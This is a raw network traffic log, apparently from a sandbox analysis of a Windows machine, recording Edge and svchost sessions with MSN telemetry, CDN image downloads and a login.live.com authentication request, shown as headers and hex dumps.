MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-22 22:06:42 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2844 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425281352-T700370825-C128000000003001749+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000003001749+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 22 Nov 2024 22:06:42 GMT Connection: close
2024-11-22 22:06:42 UTC	2844	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 55 6e 69 74 65 64 2b 4b 69 6e 67 64 6f 6d 26 66 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"United Kingdom\",\"cta\":\"https:\/\/www.bing.com\/search?q=United+Kingdom&f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49881	20.110.205.119	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:42 UTC	1279	OUT	GET /c.gif?rnd=1732313197626&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7dd1da5736714f8ca4abe9d156210cf4&activityId=7dd1da5736714f8ca4abe9d156210cf4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2F5A781EBD344B789849D40870A32EB8&MUID=1981927DEF30640D17DC8742EE526551 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1; _C_ETH=1; msnup=; SM=T
2024-11-22 22:06:43 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1981927DEF30640D17DC8742EE526551; domain=.msn.com; expires=Wed, 17-Dec-2025 22:06:42 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=1981927DEF30640D17DC8742EE526551; domain=c.msn.com; expires=Wed, 17-Dec-2025 22:06:42 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Fri, 29-Nov-2024 22:06:42 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Fri, 22-Nov-2024 22:16:42 GMT; path=/; SameSite=None; Secure; Date: Fri, 22 Nov 2024 22:06:41 GMT Connection: close Content-Length: 42
2024-11-22 22:06:43 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49887	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:43 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:44 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 Last-Modified: Sun, 17 Nov 2024 18:32:54 GMT X-Source-Length: 79668 X-Datacenter: westus X-ActivityId: 0a66f746-8b2f-4450-a7cf-b2fcc1269276 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 79668 Cache-Control: public, max-age=375929 Expires: Wed, 27 Nov 2024 06:32:12 GMT Date: Fri, 22 Nov 2024 22:06:43 GMT Connection: close
2024-11-22 22:06:44 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b 67 Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[g
2024-11-22 22:06:44 UTC	2627	IN	Data Raw: 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 42 Data Ascii: P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nwB
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-22 22:06:44 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-22 22:06:44 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49882	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 22:06:43 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:44 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_BL2 x-ms-request-id: 2d628331-8f22-45f1-92b0-c415899d1262 PPServer: PPV: 30 H: BL02EPF0001D9CD V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:44 GMT Connection: close Content-Length: 11389
2024-11-22 22:06:44 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	49888	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:43 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:44 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQB Last-Modified: Mon, 28 Oct 2024 02:09:55 GMT X-Source-Length: 116349 X-Datacenter: eastap X-ActivityId: f2ff290f-82c6-4dc0-87ef-4eddf77d3861 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 116349 Cache-Control: public, max-age=144313 Expires: Sun, 24 Nov 2024 14:11:57 GMT Date: Fri, 22 Nov 2024 22:06:44 GMT Connection: close
2024-11-22 22:06:44 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: 92 8a d0 1c cf 51 57 14 54 bc d8 cc e1 ba b0 3b 9e a1 03 e6 76 ea 0b 24 2e 60 ce d3 ba 6f 54 75 40 ec e8 cf 15 95 71 5c ff 00 51 bd 56 7a 8d ea 8b 0b 2f 17 4a 8d 55 ad bd 42 52 f1 d5 3b 02 d9 77 15 4b 36 2c 59 5b fd c8 80 75 36 8f 35 b5 f1 50 65 2c 73 48 76 85 26 d5 7f 70 47 93 cf 8f 00 9a 5e 78 00 d8 f8 95 ce c2 d0 5d 19 09 a4 9b c1 bf bf e3 d5 75 b2 60 15 18 a4 37 8c fc 61 42 ce d3 1b 4c 97 17 70 d0 7e 25 70 7b 89 7f c3 af 43 b5 db f6 fd b5 21 ec 6c c1 b1 3a ca bf 4e 3a 83 c8 12 2c 1c b8 cd 71 60 a5 9c a3 82 c9 27 8a a7 fd 46 31 13 25 1e a7 65 d9 b1 8d e7 d9 40 7b ae 8d 0b 94 b2 63 65 8b f3 cd eb 45 f1 45 d7 77 19 0f 01 c2 ca b1 71 f3 e2 55 72 e5 1a c9 b7 2d db 65 51 64 e4 3e ea 29 e0 96 10 a4 61 2b 54 75 1b c2 5a ca 62 a2 53 1d 54 64 f1 29 2b ea 11 af Data Ascii: QWT;v$.`oTu@q\QVz/JUBR;wK6,Y[u65Pe,sHv&pG^x]u`7aBLp~%p{C!l:N:,q`'F1%e@{ceEEwqUr-eQd>)a+TuZbSTd)+
2024-11-22 22:06:44 UTC	2662	IN	Data Raw: f2 f4 34 50 39 0d c4 eb c8 30 6f a0 85 38 c3 69 98 1d 75 f2 57 4b 43 86 b4 ce 9c 0e e3 ef 64 37 13 5b 72 66 6c 23 8f 50 52 f7 3d 07 c0 a4 00 6c 92 27 a4 fe 10 99 d2 5b 14 b6 66 6f 6f 13 a7 92 67 0a 2c 1b b7 b9 f6 3e 49 ec 5a 06 84 de 34 bf f9 4a f5 1d 14 ea 32 01 6c f9 c4 03 f7 b2 8a 9d a6 d3 23 a4 44 78 ab be 99 20 02 40 eb 7d 7a 70 e1 2b 5a c6 b5 c4 92 0e d1 a0 07 8a be 49 13 45 30 c9 df a7 d3 f1 5b 49 d8 1e 9a 8d fc fe 8a d9 8e 9a e9 1a 0f 6e 1f 82 8b 88 b7 f5 de 78 74 4f 95 8a 8a fe 9b 89 99 b7 d3 5d 47 15 87 10 67 43 56 bf 54 c6 c6 c2 7a ce fc 7d b6 52 b8 92 48 22 26 dd 40 3f 1f 25 56 f0 2a 44 4d c7 ec 7a 47 de eb 00 1b 80 2f a5 93 d2 67 43 1f 1f 00 b1 cc 2d 92 23 41 1d 0c f5 fa 27 7d 77 0a 1c d2 d9 20 c8 8f 21 f7 e2 a3 90 e7 41 2e 22 76 09 da d7 1d Data Ascii: 4P90o8iuWKCd7[rfl#PR=l'[foog,>IZ4J2l#Dx @}zp+ZIE0[InxtO]GgCVTz}RH"&@?%V*DMzG/gC-#A'}w !A."v
2024-11-22 22:06:44 UTC	16384	IN	Data Raw: f3 2f f6 0e 07 21 d8 e8 31 ca d2 1d c2 fe 29 28 78 33 25 d3 b6 b1 bc db aa ee b7 13 e4 88 04 41 d4 02 76 1a 91 c2 74 55 ff 00 6f 04 00 e9 b3 af 24 3a 47 4b c4 09 9d 95 af 3a d9 b0 f6 ce 33 fd c1 f3 80 88 68 f7 f3 f1 5d 47 f6 6f f4 e0 18 27 59 eb 31 56 86 24 6c 15 67 f6 59 0b 88 c7 14 6a 2e 6d 79 22 60 4c fb ad 57 97 c6 f5 48 8e 12 ec 54 96 89 b3 bd a2 75 e8 02 88 e4 1a cf 5d 06 cb a4 7b 17 35 c0 12 44 83 7d 74 be a3 43 d2 62 54 ff 00 b6 10 d0 48 e5 32 5c e0 37 70 24 11 70 7d a1 37 e6 87 7b 0e 12 38 d1 3d 5b f9 28 64 cd 86 84 7b 7d fc 57 a4 38 4d 4d 71 dd c6 64 0b 34 4d ec 3c c4 15 49 d8 f2 63 24 36 e3 fe a1 2e b8 9b 8d 06 f0 3c d2 5e 64 fb 7d 47 c0 e6 df 57 b4 89 3a 9f 7d 92 82 ca a9 b9 9b db 51 ef 2b a0 